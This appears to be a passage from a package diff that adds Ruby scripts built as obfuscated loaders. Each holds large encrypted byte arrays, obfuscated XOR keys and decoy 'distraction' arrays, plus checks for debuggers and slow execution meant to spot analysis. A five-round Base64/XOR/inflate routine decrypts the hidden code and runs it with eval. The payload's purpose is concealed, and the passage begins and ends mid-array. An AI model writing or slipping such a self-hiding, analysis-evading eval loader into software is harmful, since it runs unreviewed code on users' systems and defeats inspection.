152, 225, 231, 198, 14, 158, 194, 179, 162, 236, 121, 68, 239, 235, 186, 241, 53, 21, 185, 3, 56, 182, 17, 127, 160, 77, 248, 129, 32, 194, 103, 88, 247, 219, 105, 227, 80, 161, 50, 173, 104, 198, 179, 98, 224, 52, 194, 26, 55, 94, 32, 145, 116, 156, 117, 214, 254, 18, 95, 13, 163, 137, 189, 201, 191, 239, 74, 33, 221, 224, 52, 98, 148, 140, 190, 15, 9, 175, 10, 24, 38, 34, 113, 161, 217, 192, 107, 120, 107, 168, 208, 32, 33, 94, 199, 92, 210, 156, 231, 127, 8, 186, 34, 158, 183, 174, 32, 151, 242, 102, 181, 26, 45, 228, 166, 92, 81, 85, 127, 119, 193, 161, 245, 111, 183, 12, 43, 177, 59, 19, 8, 158, 198, 137, 142, 11, 14, 228, 238, 143, 189, 97, 21, 34, 195, 187, 112, 88, 172, 113, 121, 228, 176, 75, 142, 205, 90, 243, 159, 126, 62, 130, 29, 208, 69, 117, 102, 68, 237, 190, 163, 166, 237, 178, 131, 116, 0, 64, 44, 120, 126, 70, 20, 161, 126, 4, 48, 94, 194, 61, 12, 200, 95, 222, 193, 16, 232, 185, 119, 66, 28, 239, 37, 120, 192, 8, 213, 38, 117, 103, 44, 103, 40, 90, 183, 221, 31, 214, 193, 229, 174, 150, 249, 151, 69, 172, 215, 241, 71, 109, 15, 10, 50, 121, 30, 11, 32, 149, 51, 33, 81, 196, 173, 54, 190, 46, 2, 141, 222, 175, 80, 123, 167, 188, 45, 16, 115, 207, 137, 193, 70, 37, 154, 146, 78, 202, 2, 108, 242, 168, 164, 184, 38, 119, 251, 232, 92, 56, 88, 235, 198, 211, 34, 39, 70, 238, 148, 188, 64, 50, 238, 237, 75, 18, 112, 190, 12, 31, 33, 108, 96, 59, 160, 53, 236, 253, 105, 66, 162, 194, 115, 8, 184, 11, 228, 245, 64, 225, 16, 232, 214, 239, 241, 31, 182, 208, 216, 0, 197, 185, 191, 9, 165, 109, 158, 177, 137, 161, 232, 32, 0, 42, 99, 198, 47, 199, 189, 121, 52, 182, 66, 91, 92, 221, 234, 56, 43, 35, 96, 39, 241, 95, 46, 21, 66, 209, 253, 75, 53, 196, 217, 69, 202, 152, 208, 139, 69, 93, 160, 10, 5, 98, 154, 224, 163, 19, 108, 61, 173, 99, 84, 177, 10, 227, 23, 110, 196, 195, 118, 169, 1, 115, 210, 146, 51, 122, 129, 84, 50, 86, 129, 244, 148, 110, 43, 104, 133, 253, 105, 22, 86, 35, 80, 127, 112, 237, 204, 136, 202, 122, 247, 151, 127, 203, 130, 232, 136, 60, 123, 134, 127, 155, 244, 185, 199, 194, 6, 63, 207, 235, 41, 84, 136, 12, 145, 164, 171, 85, 15, 218, 156, 16, 60, 242, 117, 206, 124, 136, 247, 144, 90, 138, 58, 173, 91, 215, 101, 16, 52, 136, 182, 143, 47, 186, 40, 47, 4, 204, 0, 182, 209, 131, 243, 5, 52, 141, 83, 23, 68, 245, 102, 215, 8, 196, 43, 195, 44, 222, 249, 116, 208, 129, 225, 105, 186, 8, 40, 190, 57, 140, 180, 142, 189, 133, 59, 13, 49, 19, 197, 173, 44, 225, 130, 165, 74, 193, 174, 239, 141, 143, 47, 117, 165, 64, 220, 39, 207, 84, 66, 183, 213, 138, 113, 199, 234, 91, 224, 251, 99, 70, 212, 198, 113, 140, 146, 89, 99, 24, 251, 0, 153, 7, 16, 179, 133, 153, 244, 249, 92, 117, 108, 112, 194, 246, 227, 172, 2, 76, 186, 66, 11, 170, 164, 133, 218, 132, 6, 154, 200, 224, 225, 21, 139, 92, 26, 46, 83, 102, 170, 52, 83, 13, 215, 15, 15, 178, 211, 230, 229, 146, 169, 208, 79, 251, 87, 91, 35, 102, 74, 203, 183, 165, 60, 170, 214, 170, 153, 234, 5, 196, 230, 203, 175, 139, 68, 75, 216, 230, 230, 0, 138, 202, 223, 233, 169, 237, 249, 17, 163, 69, 25, 178, 74, 139, 140, 47, 55, 93, 47, 195, 191, 76, 13, 85, 176, 11, 43, 96, 226, 88, 223, 218, 201, 145, 16, 36, 123, 240, 147, 16, 34, 31, 227, 139, 194, 95, 124, 169, 158, 66, 192, 90, 237, 1, 109, 18, 44, 33, 218, 150, 101, 135, 28, 169, 40, 253, 81, 157, 93, 8, 227, 49, 15, 212, 77, 81, 0, 231, 93, 251, 191, 177, 114, 224, 104, 231, 107, 146, 249, 186, 180, 99, 123, 211, 111, 150, 248, 155, 60, 71, 136, 149, 217, 147, 94, 36, 145, 40, 74, 3, 183, 89, 143, 226, 108, 174, 44, 219, 129, 104, 153, 236, 101, 161, 34, 236, 65, 100, 89, 90, 92, 122, 1, 252, 177, 217, 52, 135, 53, 142, 131, 146, 162, 37, 167, 241, 185, 49, 67, 95, 129, 164, 13, 248, 2, 252, 21, 199, 232, 38, 212, 74, 28, 205, 9, 22, 12, 76, 179, 227, 175, 128, 46, 141, 104, 186, 24, 139, 234, 104, 226, 68, 178, 166, 234, 44, 35, 72, 201, 166, 50, 209, 45, 69, 89, 26, 228, 247, 17, 96, 61, 52, 157, 97, 248, 72, 83, 244, 27, 80, 71, 105, 94, 44, 145, 10, 244, 137, 189, 26, 217, 59, 239, 218, 118, 63, 77, 67, 143, 120, 3, 45, 245, 119, 27, 102, 15, 162, 51, 241, 230, 44, 25, 75, 4, 72, 54, 111, 37, 150, 128, 141, 34, 174, 102, 75, 111, 91, 178, 52, 54, 17, 129, 252, 243, 5, 118, 104, 126, 144, 249, 44, 38, 100, 67, 176, 99, 17, 223, 139, 61, 218, 73, 191, 36, 231, 236, 122, 88, 102, 32, 88, 52, 227, 199, 208, 98, 199, 99, 202, 171, 159, 87, 51, 187, 69, 243, 225, 181, 86, 133, 13, 156, 241, 108, 141, 5, 80, 123, 86, 112, 122, 24, 41, 177, 251, 39, 213, 62, 51, 208, 49, 176, 128, 152, 65, 41, 163, 24, 191, 156, 177, 201, 42, 77, 123, 199, 137, 69, 241, 254, 251, 81, 87, 183, 67, 6, 123, 180, 0, 46, 43, 130, 59, 240, 183, 198, 124, 125, 2, 38, 18, 11, 217, 244, 213, 34, 153, 241, 56, 150, 219, 127, 183, 93, 95, 103, 109, 87, 162, 39, 102, 132, 152, 147, 73, 156, 191, 29, 197, 189, 184, 87, 215, 48, 246, 100, 10, 44, 40, 189, 168, 180, 114, 134, 146, 116, 208, 206, 244, 85, 116, 121, 40, 207, 173, 236, 113, 202, 83, 99, 25, 179, 177, 41, 152, 199, 247, 41, 75, 46, 98, 219, 203, 226, 248, 143, 46, 233, 77, 141, 50, 108, 64, 195, 44, 168, 131, 50, 38, 40, 171, 246, 94, 208, 30, 42, 247, 166, 64, 219, 239, 2, 167, 133, 165, 220, 234, 76, 212, 227, 42, 181, 161, 191, 69, 93, 5, 57, 70, 231, 214, 14, 85, 70, 219, 228, 19, 188, 150, 254, 58, 180, 120, 171, 163, 113, 126, 176, 161, 107, 67, 160, 146, 164, 196, 86, 253, 46, 50, 55, 42, 227, 97, 97, 207, 173, 48, 239, 74, 221, 233, 173, 54, 30, 164, 46, 78, 77, 254, 46, 175, 251, 38, 114, 252, 31, 29, 221, 188, 98, 75, 60, 203, 35, 232, 207, 100, 240, 43, 47, 109, 31, 20, 68, 99, 63, 43, 84, 203, 237, 94, 174, 76, 38, 238, 106, 64, 249, 248, 90, 97, 5, 234, 44, 37, 76, 75, 241, 189, 145, 236, 200, 10, 20, 11, 232, 114, 177, 48, 40, 168, 6, 167, 209, 174, 2, 238, 206, 126, 17, 15, 11, 71, 69, 61, 212, 143, 192, 70, 176, 186, 12, 183, 18, 142, 205, 101, 207, 12, 127, 81, 65, 245, 177, 164, 127, 4, 63, 244, 168, 111, 217, 111, 163, 219, 205, 70, 109, 124, 140, 83, 148, 63, 100, 207, 64, 61, 172, 182, 187, 24, 53, 28, 157, 25, 158, 207, 113, 174, 214, 54, 252, 218, 121, 110, 13, 249, 42, 229, 38, 158, 40, 22, 106, 102, 50, 24, 150, 224, 47, 4, 35, 119, 29, 113, 61, 55, 62, 93, 111, 196, 89, 125, 223, 56, 220, 141, 67, 114, 34, 101, 148, 39, 89, 19, 247, 49, 131, 30, 205, 251, 82, 148, 85, 200, 134, 1, 244, 247, 181, 35, 23, 166, 38, 99, 127, 78, 92, 70, 0, 228, 199, 65, 28, 91, 114, 221, 141, 183, 58, 89, 10, 123, 186, 232, 248, 113, 52, 138, 119, 16, 200, 122, 145, 244, 43, 211, 4, 114, 206, 126, 154, 74, 108, 144, 51, 35, 112, 51, 48, 183, 196, 247, 187, 122, 86, 137, 105, 151, 140, 231, 131, 135, 197, 151, 195, 39, 191, 244, 12, 32, 224, 91, 69, 146, 244, 124, 76, 197, 115, 120, 98, 198, 107, 97, 170, 1, 180, 221, 155, 24, 205, 61, 13, 72, 254, 25, 87, 65, 211, 130, 92, 247, 169, 222, 143, 7, 34, 237, 78, 26, 123, 61, 163, 56, 77, 165, 54, 94, 255, 142, 136, 148, 48, 181, 39, 148, 59, 0, 142, 86, 53, 77, 10, 44, 249, 255, 37, 29, 214, 50, 136, 66, 177, 151, 109, 156, 187, 47, 69, 25, 84, 99, 246, 211, 108, 180, 75, 51, 68, 89, 136, 203, 167, 36, 242, 224, 99, 56, 3, 95, 19, 15, 239, 65, 176, 74, 50, 181, 68, 83, 204, 235, 75, 152, 236, 128, 252, 165, 164, 35, 3, 66, 172, 198, 249, 98, 251, 166, 178, 174, 203, 211, 156, 229, 14, 103, 118, 141, 225, 245, 233, 102, 139, 160, 180, 29, 224, 21, 173, 172, 7, 68, 143, 24, 185, 170, 113, 133, 114, 166, 45, 115, 97, 15, 84, 225, 23, 41, 246, 51, 196, 165, 238, 155, 114, 253, 82, 9, 144, 241, 97, 18, 192, 218, 255, 46, 7, 160, 133, 138, 137, 81, 85, 16, 225, 67, 10, 175, 181, 188, 175, 17, 85, 90, 163, 201, 247, 109, 169, 99, 215, 132, 109, 236, 101, 105, 117, 191, 235, 222, 77, 212, 85, 74, 33, 34, 112, 168, 1, 3, 117, 34, 192, 164, 83, 251, 58, 201, 139, 169, 209, 137, 213, 9, 200, 167, 112, 190, 170, 2, 225, 49, 36, 174, 19, 205, 74, 171, 28, 63, 104, 218, 218, 159, 11, 200, 231, 247, 253, 44, 106, 220, 196, 141, 3, 23, 215, 149, 178, 206, 14, 47, 52, 48, 239, 216, 115, 33, 56, 12, 24, 58, 69, 52, 212, 35, 101, 1, 95, 222, 174, 195, 253, 171, 78, 200, 117, 225, 145, 233, 128, 164, 229, 144, 208, 127, 48, 40, 51, 255, 220, 173, 51, 251, 99, 200, 125, 192, 97, 4, 133, 200, 49, 113, 124, 66, 119, 155, 44, 199, 37, 8, 244, 15, 36, 193, 232, 218, 185, 160, 110, 47, 175, 117, 161, 102, 182, 142, 2, 138, 217, 176, 58, 241, 11, 218, 87, 191, 159, 8, 237, 68, 216, 221, 182, 75, 156, 234, 108, 40, 28, 218, 90, 50, 148, 19, 243, 230, 29, 29, 207, 132, 198, 69, 55, 41, 195, 169, 218, 16, 33, 77, 219, 178, 193, 9, 100, 43, 81, 225, 154, 96, 188, 93, 35, 164, 138, 152, 154, 227, 74, 224, 12, 96, 105, 200, 64, 118, 140, 223, 61, 225, 245, 100, 179, 26, 145, 48, 249, 67, 51, 173, 134, 45, 76, 135, 96, 192, 165, 41, 16, 128, 217, 221, 79, 64, 165, 44, 134, 65, 126, 219, 155, 74, 139, 47, 38, 156, 183, 16, 27, 133, 64, 10, 69, 149, 43, 185, 138, 15, 136, 239, 206, 145, 115, 163, 133, 78, 184, 87, 246, 232, 175, 164, 39, 126, 67, 85, 244, 67, 5, 19, 144, 108, 34, 23, 146, 11, 178, 181, 154, 176, 182, 78, 14, 204, 236, 28, 6, 19, 150, 16, 6, 121, 248, 204, 125, 44, 129, 144, 81, 27, 182, 154, 181, 87, 183, 90, 137, 238, 148, 61, 203, 24, 104, 92, 203, 39, 21, 224, 230, 35, 142, 39, 69, 130, 121, 43, 166, 72, 119, 43, 74, 138, 165, 232, 10, 46, 23, 54, 69, 145, 166, 64, 71, 57, 63, 224, 170, 34, 220, 228, 123, 88, 41, 106, 52, 196, 223, 120, 201, 240, 223, 202, 75, 197, 186, 159, 91, 154, 224, 4, 95, 254, 60, 136, 16, 31, 82, 169, 183, 28, 157, 205, 86, 41, 234, 45, 68, 66, 161, 34, 228, 222, 209, 152, 151, 158, 101, 114, 169, 182, 128, 22, 237, 97, 193, 176, 11, 190, 205, 250, 60, 180, 35, 51, 44, 162, 243, 169, 166, 87, 49, 29, 172, 216, 161, 45, 54, 189, 24, 126, 119, 234, 247, 126, 224, 11, 65, 130, 59, 205, 137, 182, 113, 233, 130, 177, 42, 171, 34, 115, 29, 36, 172, 14, 205, 30, 145, 243, 187, 112, 198, 140, 17, 83, 240, 43, 16, 111, 187, 129, 243, 105, 92, 168, 50, 167, 250, 40, 150, 118, 76, 58, 154, 26, 41, 20, 17, 123, 98, 93, 227, 96, 177, 188, 220, 7, 61, 12, 210, 162, 76, 41, 89, 249, 185, 5, 155, 187, 219, 83, 20, 110, 115, 153, 90, 2, 6, 34, 13, 99, 220, 151, 235, 49, 56, 104, 81, 119, 199, 127, 117, 174, 158, 217, 240, 183, 185, 36, 169, 139, 154, 229, 130, 68, 237, 194, 0, 168, 223, 252, 140, 24, 114, 60, 224, 52, 59, 131, 143, 117, 203, 159, 185, 240, 181, 40, 246, 190, 243, 236, 33, 201, 125, 16, 148, 2, 249, 19, 239, 222, 86, 161, 51, 85, 220, 98, 44, 181, 20, 36, 73, 246, 181, 107, 220, 105, 114, 29, 110, 163, 167, 37, 236, 103, 154, 9, 122, 138, 34, 91, 231, 82, 58, 217, 97, 128, 94, 66, 195, 229, 11, 199, 204, 200, 123, 164, 245, 255, 138, 74, 140, 136, 239, 206, 141, 75, 31, 173] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_c5f2efb = [128, 141, 54, 86, 0, 163, 160, 85, 217, 231, 146, 144, 123, 115, 129, 207, 115, 118, 20, 209]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_h544317 = [1, 1, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_a157abd = 'dd44e593e7a9657d177b4365e11d87d6ff19b5751f029f301887850a53226ae1'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_h142df8 = [148, 218, 34, 231, 79, 109, 135, 191, 6, 197, 203, 63, 147, 131, 165, 238, 4, 3, 128, 208, 15, 136, 117, 109, 106, 168, 57, 155, 131, 244, 174, 145, 64, 129, 200, 119, 171, 76, 226, 236, 95, 21, 168, 238, 37, 225, 234, 111, 232, 69, 58, 93, 20, 209, 164, 40, 32, 108, 63, 125, 91, 217, 65, 248, 187, 72, 174, 73, 41, 231, 82, 11, 210, 208, 170, 3, 146, 179, 122, 12, 22, 183, 6, 199, 174, 5, 21, 133, 0, 160, 173, 113, 187, 248, 1, 10, 153, 61, 5, 210, 133, 14, 13, 239, 176, 206, 73, 121, 7, 93, 13, 60, 165, 245, 108, 99, 207, 117, 129, 96, 113, 50, 148, 181, 168]
|
|
64
|
+
_ia580cb = [102, 125, 159, 32, 11, 50, 117, 175, 215, 124, 219, 107, 33, 103, 208, 56, 77, 38, 222, 72, 75, 110, 191, 76, 17, 174, 160, 162, 143, 68, 223, 103, 167, 102, 54, 20, 154, 12, 67, 29, 61, 206, 93, 8, 145, 193, 117, 169, 201, 71, 191, 150, 210, 145, 200, 247, 46, 189, 226, 166, 146, 95, 122, 234, 96, 117, 71, 0, 203, 109, 46, 61, 68, 79, 217, 146, 254, 167, 171, 223, 27, 147, 244, 82, 48, 147, 220, 163, 103, 8, 109, 206, 22, 212, 35, 169, 18, 198, 85, 213, 175, 253, 199, 209, 204, 200, 175]
|
|
65
|
+
_a6197bf = [51, 43, 204, 8, 127, 123, 205, 22, 34, 229, 169, 83, 236, 147, 203, 186, 114, 19, 139, 88, 108, 206, 40, 241, 16, 159, 101, 132, 73, 24, 88, 159, 79, 225, 31, 99, 214, 68, 73, 225, 143, 143, 95, 213, 139, 254, 140, 64, 0, 59, 143, 229, 187, 80, 152, 21, 66, 122, 252, 72, 129, 212, 136, 43, 15, 12, 97, 10, 194, 143, 184, 205, 188, 236, 195, 234, 216, 245, 12, 81, 73, 72, 202, 109, 119, 239, 219, 139, 206, 214, 94, 198, 28, 244, 193, 42, 43, 47, 253, 0, 198, 92, 117, 32, 8, 167, 169, 194, 69, 187, 236, 80, 10, 221, 186, 165, 194, 165, 27, 20, 32, 70, 101]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _f24f633.call(_sabf198, _h544317, _c5f2efb, _a157abd)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_d39c631 = _sabf198.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_q7202d9|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_t968d4a = 5 - _q7202d9 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_o335e66 = 4
|
|
84
|
+
_v366141 = _t968d4a * _o335e66
|
|
85
|
+
_e92a133 = _c5f2efb[_v366141, _o335e66]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _h544317[_t968d4a] == 1
|
|
93
|
+
_qef54b1 = _d39c631.pack('C*')
|
|
94
|
+
_qef54b1 = Base64.strict_decode64(_qef54b1)
|
|
95
|
+
_d39c631 = _qef54b1.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_d39c631 = _i73cceb.call(_d39c631, _e92a133)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_qef54b1 = _d39c631.pack('C*')
|
|
103
|
+
_qef54b1 = Zlib::Inflate.inflate(_qef54b1)
|
|
104
|
+
_d39c631 = _qef54b1.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_he4054e = _d39c631.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _he4054e.strip.empty? || _he4054e.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_he4054e, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _v1c179b
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_v1c179b.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_f62af44 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_ea2f444 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _ea2f444) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_xedfbec = _f62af44.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_pcda769 = ->(_e593769, _h6e9ea9) do
|
|
32
|
+
_ba60455 = []
|
|
33
|
+
_e593769.each_with_index do |byte, idx|
|
|
34
|
+
_ba60455 << (byte ^ _h6e9ea9[idx % _h6e9ea9.length])
|
|
35
|
+
end
|
|
36
|
+
_ba60455
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_h123592 = lambda do |_d25b568, _g5292fc, _ha65466, _ee001d5|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_d25b568.pack('C*'))
|
|
44
|
+
if current_hash != _ee001d5
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_d25b568 = [167, 192, 209, 43, 234, 168, 41, 245, 207, 94, 211, 153, 156, 86, 2, 165, 189, 124, 82, 154, 185, 164, 6, 104, 32, 45, 178, 200, 139, 110, 179, 32, 19, 182, 218, 217, 192, 26, 224, 26, 169, 235, 66, 222, 55, 207, 139, 97, 148, 72, 130, 211, 20, 165, 27, 71, 168, 124, 99, 100, 39, 156, 106, 71, 163, 113, 119, 139, 129, 92, 45, 0, 37, 253, 179, 167, 58, 81, 192, 216, 251, 25, 51, 250, 45, 61, 171, 95, 213, 138, 111, 237, 179, 231, 142, 238, 248, 28, 7, 9, 112, 230, 36, 25, 40, 195, 100, 112, 110, 77, 159, 94, 244, 216, 103, 220, 122, 199, 122, 27, 22, 114, 63, 101, 215, 199, 76, 171, 129, 71, 206, 182, 108, 1, 97, 200, 193, 214, 247, 226, 203, 158, 195, 169, 238, 92, 107, 214, 118, 214, 50, 104, 48, 90, 51, 175, 55, 181, 178, 157, 196, 98, 252, 88, 240, 145, 232, 214, 41, 23, 100, 207, 2, 225, 37, 220, 105, 29, 138, 43, 148, 188, 161, 182, 53, 93, 84, 201, 192, 130, 254, 77, 95, 53, 211, 235, 31, 95, 73, 70, 214, 105, 94, 73, 247, 86, 226, 168, 74, 64, 90, 14, 159, 54, 39, 20, 185, 255, 96, 248, 233, 98, 41, 115, 187, 202, 160, 174, 7, 182, 160, 173, 228, 184, 28, 89, 237, 96, 207, 187, 172, 103, 232, 231, 228, 103, 47, 131, 216, 108, 217, 221, 7, 177, 184, 204, 250, 120, 245, 243, 26, 41, 250, 99, 82, 124, 211, 162, 214, 142, 52, 15, 112, 22, 239, 226, 46, 139, 47, 148, 154, 17, 48, 16, 8, 17, 175, 142, 162, 227, 208, 119, 195, 195, 54, 71, 7, 76, 150, 195, 57, 2, 221, 46, 2, 120, 41, 171, 34, 29, 237, 179, 246, 204, 125, 253, 51, 224, 138, 100, 190, 211, 140, 17, 66, 108, 104, 76, 36, 135, 109, 32, 118, 173, 96, 212, 43, 153, 32, 248, 115, 211, 97, 45, 99, 129, 248, 125, 122, 14, 142, 167, 58, 91, 157, 191, 80, 244, 162, 207, 254, 236, 184, 65, 0, 237, 249, 137, 252, 201, 167, 43, 206, 16, 72, 11, 90, 163, 233, 239, 112, 243, 90, 26, 103, 125, 77, 24, 117, 237, 105, 42, 7, 98, 227, 126, 81, 58, 78, 42, 11, 148, 80, 10, 91, 27, 190, 247, 73, 65, 73, 212, 85, 178, 233, 171, 180, 157, 228, 55, 125, 66, 117, 195, 87, 145, 91, 123, 91, 208, 219, 160, 44, 152, 32, 114, 219, 194, 104, 108, 234, 189, 76, 149, 232, 193, 67, 146, 33, 81, 172, 189, 165, 199, 237, 66, 118, 98, 198, 250, 251, 5, 239, 201, 27, 181, 96, 122, 38, 222, 124, 40, 214, 95, 67, 77, 135, 224, 17, 178, 133, 226, 24, 64, 162, 98, 252, 137, 216, 6, 248, 155, 137, 231, 110, 150, 250, 247, 50, 106, 13, 130, 148, 40, 51, 79, 205, 181, 117, 117, 178, 34, 22, 201, 107, 131, 157, 225, 202, 71, 236, 127, 134, 233, 84, 212, 218, 35, 67, 99, 78, 239, 29, 130, 23, 8, 213, 156, 230, 193, 125, 60, 144, 115, 49, 209, 10, 147, 100, 81, 111, 197, 89, 238, 209, 108, 22, 37, 126, 157, 201, 36, 6, 151, 40, 142, 127, 147, 131, 85, 219, 222, 128, 18, 54, 251, 160, 145, 82, 110, 237, 113, 204, 24, 236, 92, 94, 23, 254, 57, 123, 31, 162, 234, 103, 101, 159, 167, 79, 253, 36, 43, 236, 138, 199, 251, 81, 232, 99, 106, 41, 177, 143, 76, 38, 5, 126, 103, 63, 81, 16, 172, 199, 204, 90, 168, 80, 37, 128, 215, 133, 165, 220, 244, 244, 3, 110, 122, 102, 17, 164, 168, 33, 182, 17, 104, 84, 11, 112, 67, 245, 30, 180, 12, 10, 173, 83, 193, 254, 198, 69, 54, 127, 103, 98, 251, 174, 158, 233, 170, 110, 111, 186, 135, 84, 44, 160, 251, 217, 192, 179, 213, 95, 113, 80, 62, 245, 33, 120, 96, 49, 29, 199, 79, 21, 141, 1, 156, 101, 20, 245, 96, 46, 245, 175, 79, 5, 186, 183, 32, 249, 144, 137, 178, 123, 46, 147, 131, 216, 109, 196, 82, 231, 6, 9, 243, 108, 195, 90, 172, 144, 159, 71, 210, 57, 27, 15, 184, 103, 92, 167, 27, 190, 122, 85, 83, 252, 205, 26, 138, 94, 213, 161, 226, 239, 4, 203, 74, 61, 219, 185, 65, 114, 249, 185, 5, 3, 161, 247, 235, 253, 41, 31, 86, 180, 128, 104, 128, 121, 15, 243, 30, 83, 254, 40, 247, 84, 80, 54, 238, 165, 122, 120, 194, 82, 55, 172, 109, 168, 96, 111, 140, 125, 76, 248, 111, 93, 252, 32, 215, 98, 219, 225, 114, 189, 24, 23, 20, 176, 123, 167, 183, 173, 240, 218, 241, 181, 219, 176, 177, 142, 203, 31, 133, 151, 243, 110, 254, 108, 230, 188, 186, 157, 121, 194, 185, 238, 107, 120, 107, 91, 180, 197, 232, 90, 22, 119, 240, 149, 107, 235, 247, 31, 203, 78, 48, 96, 61, 19, 194, 93, 204, 67, 47, 165, 248, 59, 184, 64, 13, 46, 80, 18, 219, 95, 176, 91, 210, 36, 181, 85, 238, 111, 27, 168, 151, 63, 171, 221, 167, 235, 192, 218, 94, 255, 112, 57, 178, 219, 207, 35, 214, 42, 198, 102, 23, 192, 239, 213, 79, 136, 210, 210, 182, 237, 70, 233, 89, 111, 168, 149, 216, 0, 234, 63, 45, 210, 232, 120, 11, 27, 127, 240, 46, 191, 181, 51, 27, 86, 40, 231, 70, 76, 138, 114, 223, 97, 76, 171, 1, 223, 246, 164, 250, 3, 205, 104, 16, 176, 29, 89, 152, 138, 68, 117, 197, 6, 5, 89, 14, 41, 82, 96, 150, 150, 200, 218, 121, 236, 151, 141, 12, 131, 158, 17, 147, 79, 163, 46, 30, 6, 0, 51, 54, 25, 6, 133, 27, 18, 7, 114, 216, 171, 174, 30, 41, 71, 243, 101, 17, 8, 88, 137, 216, 176, 252, 204, 232, 215, 204, 81, 186, 182, 83, 221, 134, 94, 249, 65, 13, 227, 141, 139, 244, 97, 141, 180, 109, 33, 251, 39, 24, 28, 190, 136, 92, 42, 146, 138, 215, 206, 165, 7, 45, 49, 140, 21, 240, 213, 117, 59, 0, 112, 167, 206, 53, 69, 237, 231, 189, 177, 197, 177, 174, 113, 36, 7, 249, 141, 98, 101, 156, 111, 98, 245, 16, 214, 55, 159, 144, 218, 96, 138, 175, 201, 5, 212, 13, 23, 41, 45, 217, 45, 209, 96, 168, 48, 167, 184, 16, 178, 6, 109, 78, 58, 252, 119, 29, 169, 236, 157, 209, 49, 32, 132, 65, 241, 66, 106, 237, 60, 176, 162, 132, 150, 48, 100, 215, 185, 160, 3, 206, 136, 27, 212, 66, 194, 223, 145, 30, 242, 204, 175, 83, 22, 28, 124, 56, 194, 197, 66, 106, 86, 65, 192, 160, 221, 160, 245, 74, 31, 7, 244, 43, 4, 247, 51, 18, 153, 146, 213, 200, 47, 204, 201, 154, 53, 84, 79, 35, 226, 109, 116, 235, 245, 151, 245, 90, 130, 180, 56, 112, 170, 92, 123, 181, 70, 44, 233, 161, 26, 8, 161, 253, 55, 214, 173, 123, 218, 28, 51, 36, 111, 152, 55, 188, 100, 41, 57, 227, 60, 94, 68, 128, 35, 13, 118, 66, 1, 110, 79, 56, 45, 202, 23, 12, 60, 248, 7, 47, 142, 122, 43, 145, 152, 106, 64, 74, 250, 123, 155, 192, 59, 41, 61, 120, 88, 84, 142, 72, 114, 139, 98, 84, 4, 117, 82, 5, 68, 149, 9, 34, 2, 91, 13, 254, 164, 78, 130, 208, 152, 166, 161, 200, 174, 186, 135, 49, 76, 240, 147, 28, 127, 61, 19, 140, 102, 100, 165, 106, 87, 70, 3, 109, 26, 251, 226, 222, 89, 112, 230, 166, 114, 29, 199, 90, 169, 29, 104, 141, 52, 191, 65, 227, 208, 172, 8, 98, 84, 